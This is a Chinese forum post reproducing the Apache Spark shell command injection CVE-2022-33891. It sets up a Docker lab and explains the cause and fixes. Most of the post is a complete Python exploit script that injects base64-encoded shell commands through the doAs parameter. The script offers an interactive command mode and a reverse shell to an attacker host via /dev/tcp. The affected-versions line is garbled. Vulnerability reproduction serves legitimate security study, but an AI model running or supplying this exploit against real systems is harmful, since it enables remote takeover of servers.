CVE-2022-33891 Apache spark shell 命令注入漏洞复现

打印 上一主题 下一主题

主题 552|帖子 552|积分 1656

简介

Spark 是用于大规模数据处理的统一分析引擎。它提供了 Scala、Java、Python 和 R 中的高级 API,以及支持用于数据分析的通用计算图的优化引擎。它还支持一组丰富的高级工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作负载的 Spark 上的 Pandas API、用于机器学习的 MLlib、用于图形处理的 GraphX 和用于流处理的结构化流。
影响版本

Apache spark version conf/spark-defaults.conf
</blockquote>POC如下:
  1. #!/usr/bin/env python3
  2. import requests
  3. import argparse
  4. import base64
  5. import datetime
  6. parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script')
  7. parser.add_argument('-u', '--url', help='URL to exploit.', required=True)
  8. parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)
  9. parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")
  10. parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')
  11. parser.add_argument('-lp', '--listeningport', help='Your listening host port.')
  12. parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")
  13. args = parser.parse_args()
  14. full_url = f"{args.url}:{args.port}"
  15. def check_for_vuln(url):
  16.     print("[*] Attempting to connect to site...")
  17.     r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False)
  18.     if r.status_code != 403:
  19.         print("[-] Does not look like an Apache Spark server.")
  20.         quit(1)
  21.     elif "org.apache.spark.ui" not in r.content.decode("utf-8"):
  22.         print("[-] Does not look like an Apache Spark server.")
  23.         quit(1)
  24.     else:
  25.         print("[*] Performing sleep test of 10 seconds...")
  26.         t1 = datetime.datetime.now()
  27.         run_cmd("sleep 10")
  28.         t2 = datetime.datetime.now()
  29.         delta = t2-t1
  30.         if delta.seconds < 10:
  31.             print("[-] Sleep was less than 10. This target is probably not vulnerable")
  32.         else:
  33.             print("[+] Sleep was 10 seconds! This target is probably vulnerable!")
  34.         exit(0)
  35. def cmd_prompt():
  36.     # Provide user with cmd prompt on loop to run commands
  37.     cmd = input("> ")
  38.     return cmd
  39. def base64_encode(cmd):
  40.     message_bytes = cmd.encode('ascii')
  41.     base64_bytes = base64.b64encode(message_bytes)
  42.     base64_cmd = base64_bytes.decode('ascii')
  43.     return base64_cmd
  44. def run_cmd(cmd):
  45.     try:
  46.         # Execute given command from cmd prompt
  47.         #print("[*] Command is: " + cmd)
  48.         base64_cmd = base64_encode(cmd)
  49.         #print("[*] Base64 command is: " + base64_cmd)
  50.         exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`"
  51.         exploit_req = f"{full_url}{exploit}"
  52.         print("[*] Full exploit request is: " + exploit_req)
  53.         requests.get(exploit_req, allow_redirects=False)
  54.     except Exception as e:
  55.         print(str(e))
  56. def revshell(lhost, lport):
  57.     print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}")
  58.     input("[!] When your listener is set up, press enter!")
  59.     rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1"
  60.     run_cmd(rev_shell_cmd)
  61. def main():
  62.     if args.check and args.revshell:
  63.         print("[!] Please choose either revshell or check!")
  64.         exit(1)
  65.     elif args.check:
  66.         check_for_vuln(full_url)
  67.     # Revshell
  68.     elif args.revshell:
  69.         if not (args.listeninghost and args.listeningport):
  70.             print("[x] You need a listeninghost and listening port!")
  71.             exit(1)
  72.         else:
  73.             lhost = args.listeninghost
  74.             lport = args.listeningport
  75.             revshell(lhost, lport)
  76.     else:
  77.         # "Interactive" mode
  78.         print("[*] "Interactive" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.")
  79.         while True:
  80.             command_to_run = cmd_prompt()
  81.             run_cmd(command_to_run)
  82. if __name__ == "__main__":
  83.     main()
复制代码
 
如果失败的话重建项目,使用下面这个文件起docker可能是镜像的问题,不同的仓库内的Apache spark配置不同,这个版本是V3.0.0的
  1. version: '2'
  2. services:
  3.   spark:
  4.     image: docker.io/bitnami/spark:3.0.0
  5.     environment:
  6.       - SPARK_MODE=master
  7.       - SPARK_RPC_AUTHENTICATION_ENABLED=no
  8.       - SPARK_RPC_ENCRYPTION_ENABLED=no
  9.       - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
  10.       - SPARK_SSL_ENABLED=no
  11.     ports:
  12.       - '8080:8080'
复制代码
 
[img=720,136.0164271047228]https://www.hetianlab.com/headImg.action?news=d971d25d-d1f1-4476-8a05-09e2bd89a727.png[/img]
访问
http://192.168.0.112:8080/
[img=720,299.60877296976884]https://www.hetianlab.com/headImg.action?news=c41f1157-4801-4537-b2f8-35c966d4bba2.png[/img]
修改配置文件
docker exec -it 8a /bin/bash
I have no name!@8a7873e77c46:/opt/bitnami/spark$ echo "spark.acls.enable true" >> conf/spark-defaults.conf
I have no name!@8a7873e77c46:/opt/bitnami/spark$ cat conf/spark-defaults.conf

已追加配置,重启docker
root@ubuntu:/home/ubuntu/Desktop/spark# docker-compose up -d

使用poc去生成payload,或者手动也可,但是执行的命令要使用echo写入执行且做base64编码后解码生效。
[img=720,82.65306122448979]https://www.hetianlab.com/headImg.action?news=77b0c875-5fab-4d96-b325-75b9a79cb753.png[/img]
但是看不到回显,直接反弹shell
  1. python 2.py -u http://192.168.0.112 -p 8080 --revshell -lh 192.168.0.121 -lp 4444
复制代码
[img=720,88.34724540901503]https://www.hetianlab.com/headImg.action?news=1800bfd7-32ae-465f-b24b-6fd8f18ebbe6.png[/img]
查看连接状态

漏洞成因

漏洞成因是由于Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。使用身份验证过滤器,这将检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后,恶意用户可能能够访问权限检查功能,该功能最终将根据他们的输入构建一个 Unix shell 命令并执行,导致任意 shell 命令执行。
参考:https://spark.apache.org/security.html
修复建议

1.建议升级到安全版本,参考官网链接:
https://spark.apache.org/downloads.html
2.安全设备路径添加黑名单或者增加WAF规则(临时方案)。
更多靶场实验练习、网安学习资料,请点击这里>>
 
搜索
复制

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

麻花痒

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表